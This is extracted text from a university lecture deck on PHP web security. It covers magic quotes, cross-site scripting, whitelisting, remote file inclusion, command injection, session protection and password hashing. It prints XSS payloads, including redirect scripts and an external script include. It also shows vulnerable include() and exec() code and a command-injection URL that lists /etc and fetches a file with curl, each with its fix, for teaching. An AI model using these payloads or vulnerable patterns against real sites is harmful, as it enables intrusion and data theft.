Survey
* Your assessment is very important for improving the workof artificial intelligence, which forms the content of this project
* Your assessment is very important for improving the workof artificial intelligence, which forms the content of this project
Security Issues General Considerations Security is a hot topic Security discussions are full of jargon Zero Day Exploit Pen testing Hacker Pharming Injection malware DOS Serious issue, but lots of FUD Start by thinking about where you are exposed Filesystem Multiuser systems PHP codes executes as the web server, with the web server's permissions This means any file that you write via PHP might be writable by other users (either via PHP or a CGI program) Any file that's readable by the web server is readable by others via the web server, even if the server won't serve them to a browser directly Often web pages are world readable Forms You're also exposed whenever you request data from a user A user may give you data you don't expect or want Depending on how your program handles the data, this can have a variety of results Your data on the server could be affected Other users' browsers could be affected Other Vectors This is an aside…. Services such as ssh and mysql Firewalls DMZ Bind to different ip addresses What you do from the server Where the server is located--physical security is key Consider where you want to put your security measures For example, in this class I'm trusting you all a lot, as a group, not to trash machines In MySQL, you can either use the database to secure data, or PHP, or both Both is hard to do… In some cases, restricting access to a domain is enough, in other ids are better Balance Security is like a seesaw, with whitehats and blackhats on the ends What's the most secure OS? Where is the threat coming from these days? Categories of Hacks Data that is inserted into code that is displayed on your pages Data that is inserted to alter your data Holes that can be exploited to run arbitrary commands Display Hacks Targets are bulletin boards, blogs that allow comments, wikis, web forums-anything that allows users to input text that will be displayed At best, you might get random stuff showing up on your web pages At worst, users could be "captured" and whisked away Builtin Security PHP does try to protect us, but sometimes that protection causes it's own problems I'm going to run through a series of examples, showing some simple insertion techniques, and the approaches to stop them Magic Quotes An example of trying to do good in a bad way…. In the Beginning As PHP became more popular, attacks against it became more common (why would this be the case?) Around PHP 3, it was in widespread use, but had very few security features out of the box In particular, it did nothing to affect data input by forms Version 4.2.3 To make PHP safer, version 4.2.3 included magic quotes enabled by default Magic quotes performs the same function as add_slashes(), but only on any GET, POST or cookie data--that is, it escapes any ',",\, or NULL characters, in an attempt to prevent folks from inserting command strings into php It works ok, for what it's trying to do, but isn't a complete solution… So how does it work? Magic quotes will try to protect us a bit if someone inserts something like: <b>Alert!</b><p>Your account has been compromised, please <a href="http://www.cs.unc.edu">click here for further information</a></p> echo_string_noslash.php This file defeats magic quotes and echoes the $_GET["string"] var without alteration <b>Alert!</b><p>Your account has been compromised, please <a href="http://www.cs.unc.edu">click here for further information</a></p> Calgon, take me away One can also insert code that moves the user from your site: <script type=text/javascript>window.location = "http://www.duke.edu";</script> With magic quotes echo_string.php doesn't defeat magic quotes Can't trust browsers anyhow So with magic quotes if the hacker uses well formed HTML, we're ok But what if I put this in: <b>Alert!</b><p>Your account has been compromised, please <a href=http://www.cs.unc.edu>click here for further information</a></p> Or this: <img src=http://cutedeadthings.com/images/skull-pinktm.png> The browser is trying to be helpful… Look at the source We don't need no quotes Even worse, we don't need quotes to call for an external javascript This means we can insert pretty much anything we want into the page: <script src=http://127.0.0.1/INLS672/samples/php/ security/javascript_hack.js></script> This last example Cross site scripting (XSS) generally involves getting data into a web form that produces HTML for display, and use that to call an external script to perform a malicious action This is often done with javascript, but can be done with other languages Older versions of IE were prone to attack in this manner because of ActiveX Are Magic Quotes AGT? Some say that magic quotes are bad when enabled, it can make it more difficult to get the data you the way you want it Produces a false sense of security, since programmers should check user data anyway But it does protect against the most common attacks such as insertion of javascript But folks hated it enough that it's off in PHP 6 And that's the worst of it--if you want to write portable code, you have to check for it Detecting and Defeating Magic Quotes This is not very efficient <?php if (get_magic_quotes_gpc()) { function stripslashes_deep($value) { $value = is_array($value) ? array_map('stripslashes_deep', $value) : stripslashes($value); return $value; } $_POST = array_map('stripslashes_deep', $_POST); $_GET = array_map('stripslashes_deep', $_GET); $_COOKIE = array_map('stripslashes_deep', $_COOKIE); $_REQUEST = array_map('stripslashes_deep', $_REQUEST); } ?> from http://us.php.net/manual/en/function.stripslashes.php It's up to you For many samples of XSS attacks, see: http://ha.ckers.org/xss.html Simple Sanitation In this case, we're going to use htmlentities(), htmlspecialchars() and strip_tabs() to affect the user's input see echo_string_checks.html Be aware that this is mainly a browser protection… Blacklist vs. Whitelist What we've looked at so far are examples of blacklisting--trying to spot evil input Whitelisting is more secure--figure out what you want, and only allow that Using regex Decide what you're willing to accept Check the user input for that if (eregi("^[a-zA-Z0-9]{0,}$", $_GET['string'])) // The regex above checks every char starting with 0 { echo "String is: " . $_GET['string']; } else { echo "<p>Illegal characters detected</p>"; } echo_string_clean.html This is the same form, but passes data to a php script with the regex code This approach has advantages Futureproof Doesn't require you guess what the hacker might try On error, doesn't process the data at all Downside is it's harder to get data through Arbitrary Commands Basically, this is the worst kind of attack Cracker finds a hole that allows a command to be executed Most often that happens at the privilege level of the web server In some cases, it can be an elevated privilege (rare on linux, not so rare on windows under pre-vista installations) Includes and Requires It's pretty common to use an include or require to pull files into a core script This is a potential vector for a XSS attack, since PHP doesn't care if the file included is remote or local Be careful with these--if you pass file to be included into your script with a GET or POST, a hacker can run a script of their own through yours magic_quotes do not protect against this It's one of the ways I've been hacked include $_GET['file']; How I've Been Hacked I created a simple PHP file that included other files with a GET reference This allowed me to call files elsewhere on the server inside my frame program, and control the display if the file were a text file or html I did not check the data being passed The hacker passed a reference to a file on their system, that ran a perl script creating an email relay on our web server, and then passed email through the web server to our smtp server, which accepted all of the spam, since it came from within cs.unc.edu The File http://wwwx.cs.unc.edu/help/network/fram e.php? The problem line was: include($_GET[name]); The Fix Changed include() to readfile(), the latter doesn't process code, just reads it to output Added a check for "//" for remote access urls Added a hook to send email to me when tapped Attacking the server Since PHP can pull data about the server, it can be used to find out about the server's configuration (esp. the web server) More dangerous is the ability to access the shell You should be careful with any data that will be passed to a shell script with back ticks, exec(), or shellexec() Unguarded GET or POST In this case, the GET variable is passed directly into a shell exec We know that shell script lines terminated in a ";" So a command can be passed in the variable, by inserting a semi-colon $month = $_GET['month']; $year = $_GET['year']; exec("cal $month $year", $result); print "<PRE>"; foreach ($result as $r) { print "$r<BR>"; } print "</PRE>"; This example from http://www.sitepoint.com/article/php-security-blunders Unguarded GET or POST An example of a get URL: http://127.0.0.1/php/security/unguarded_g et.php?month=9;ls -la /etc/ This would be passed to the web server, and executed with it's permissions, so it's a better vector for reads than writes But any directory that the web server could write to could be tapped…. This example from http://www.sitepoint.com/article/php-security-blunders Unguarded GET or POST Ok, so let's say this file sits in a directory that the web server can write to (say for a user comment file, or a log, or….) Then a hacker could pass something more malicious, eg: curl http://www.cs.unc.edu -o myfile.php Unguarded GET or POST The author recommends using a regular expression to check that the input is solely numbers, and of the correct length $month = $_GET['month']; $year = $_GET['year']; if (!preg_match("/^[0-9]{1,2}$/", $month)) { die("Bad month, please re-enter."); } if (!preg_match("/^[0-9]{4}$/", $year)) { die("Bad year, please re-enter."); } This example from http://www.sitepoint.com/article/php-security-blunders 06_mysql_submit.php I'm pretty much a failure hacking MySQL so far… But using the lab as an example, here are some things you can insert into the db <a href=\"http://www.cs.unc.edu\"> Wonk</a> <img src=/PoweredByMacOSXLarge.gif> It's restricted by the number of characters allowed in the field, but you get the idea Additional Considerations for MySQL Don't use unrestricted privileges for database connections (do as I say, not as I do) Either have the user supply a user id and password, or use a restricted account Use a mysql account that is limited and appropriate for the given task General Server Settings register_globals register_globals, when on, allows php full access to all variables directly In my examples, I've accessed GET and POST data via the server global array even when not necessary With it on, $_GET["variable"] is the same as $variable in php This gives a hacker a chance to inject data into unprotected variables into your script, say into a session variable So check to see that it's off open_base_dir The default is to allow php to open any files, this setting can be enabled to restrict what directories php can access With a setting of ".", the tree is restricted to the folder of the script itself, or lower Can be set for virtual servers in apache Keep in mind that this setting only affects php, any shell scripts you use have full run of the directory tree What can you do? (Panic?) Protect your code In the class pages, I've made the source code visible over the web This is something to avoid in general--it's easier to hack a site if you know the source Hide configuration files and data Restrictive .htaccess files Use cron based shell scripts to whisk data away Keep data and config files separate from scripts Use a sealed db server Hiding files Files with a "." as the first character are readable by PHP, but won't be served by a web server Depending on the server configuration (such a the web server's FollowSymLinks setting, or PHP's open_base_dir setting), you may be able to store data files in areas that the web server won't serve up .htaccess files Disallow directory listings You can also use a blank index file Restrict access by user id or by domain See http://www.htaccessbasics.com/ Directory Structures Keep data files in one directory, configuration files in another, and scripts in a third You may need to put the data and config dirs inside the scripts folder, but you can use an .htaccess file or other methods to control access For example, write permissions or afs acls Open versus Sealed servers Be aware of who else is on your server Remember that the web server has to have read privileges--if I'm on the same server, I might be able to use a cgi to see your source code Consider a "sealed" server for critical data Finding Hacks Run a hash on your scripts to check for mods--there are lots of freebie programs that can do this for you and alert you to changes Tripwire is one example, but it's a complicated thing Watcher Keep Cookies in the jar PHP sessions can store data in cookies as well as server side--best not to do this unless the data's not sensitive QuickTime™ and a decompressor are needed to see this picture. Keep Cookies in the jar Some browsers (ie for example) have historically been prone to cookie theft So if you store sensitive data in a cookie, salt and encrypt it (hash is always better with salt anyway) Control Session Data In the examples for class, I've used a session to store data across forms Session data is usually in /tmp or /var/tmp Since the web server can read these, so can any else on the server who can write web scripts Protecting Session Data To reduce the chance of hijacking, use a combination of data--for example, check not only the session key, but also the ip number (consider storing that in post data or a text file) Encrypt any sensitive data stored in the session cookie_monster.php Better Still Generate a random key on each page load Check other data, such as the client ip number or browser version and track that as well Store data in multiple places and compare (eg. some data in the session, some in a cookie, and even some in a database or file) Hash is good for you I've mentioned this a few times, but you can use hashes of data as a security measure, esp. for passwords What is hash really? createLogin This is some code I used for a faculty application site Users created a login with their email address as an id Passwords stored in a text file, as an MD5 hash create_login.php This is a simple php script that calls some HTML into itself, and uses a jah like function to test the data submitted by the user--this check has a php backend, so the javascript check and the subsequent php check are the same All it does for the password is run it through md5 create_login.php As the form is submitted to itself, after some checks, the post data is shoved into an array, and written to a file The hash would be better with a salt $new_entry[id] = trim($_POST["get_id"]); $new_entry[passwd] = md5(trim($_POST["get_passwd"])); $new_entry[key] = $_SESSION['session_key']; $new_entry[created] = $runtime; $new_entry[status] = "new"; write_data_file($new_entry, $id_data); submit_application.php After the id is created, or when a user returns, they land on submit_application.php This asks them for the userid and password on the first pass On the second pass, it checks the userid and data in the post submit_application.php Notice md5_match_array_element() $ids_file = read_data_file("./config/userids.txt"); $test= md5_match_array_element($ids_file, "id", $_POST["id"], "passwd", $_POST["passwd"]); if ($test > 0) { $action="submit_application: login_failure"; require './logger.php'; // call the program to write out log entries. die_cleanly("<div id=\"notice\"><p>Invalid User ID or password, if you feel you have received this message in error please contact <a href=\"http://www.cs.unc.edu/cgi-bin/mailcs?hays\"> bil hays</a></p></div>"); } md5_match_array_element() function md5_match_array_element($array, $array_key, $get_key, $array_element, $get_element) { foreach ($array as $i) { if ($i[$array_key] == $get_key) { if ($i[$array_element] != md5($get_element)) { return "1"; } return "0"; } } return "2"; } Use of hashes A hash can be used to check a value presented against a prior value Or to detect file changes--if you write a big chunk of code, you can run a hash on the files or the tarball. When you check the files against the hash, you can detect a change Final points Keep Up To Date Update your PHP installation regularly, and check the php.ini settings when you do Create and check log files in your php programs (consider automating this with a cron) Read--there are web sites and discussion lists that cover these issues--many are a bit histrionic, but you get good ideas anyway http://nexodyne.com/ http://www.codehelp.co.uk/php/taint.php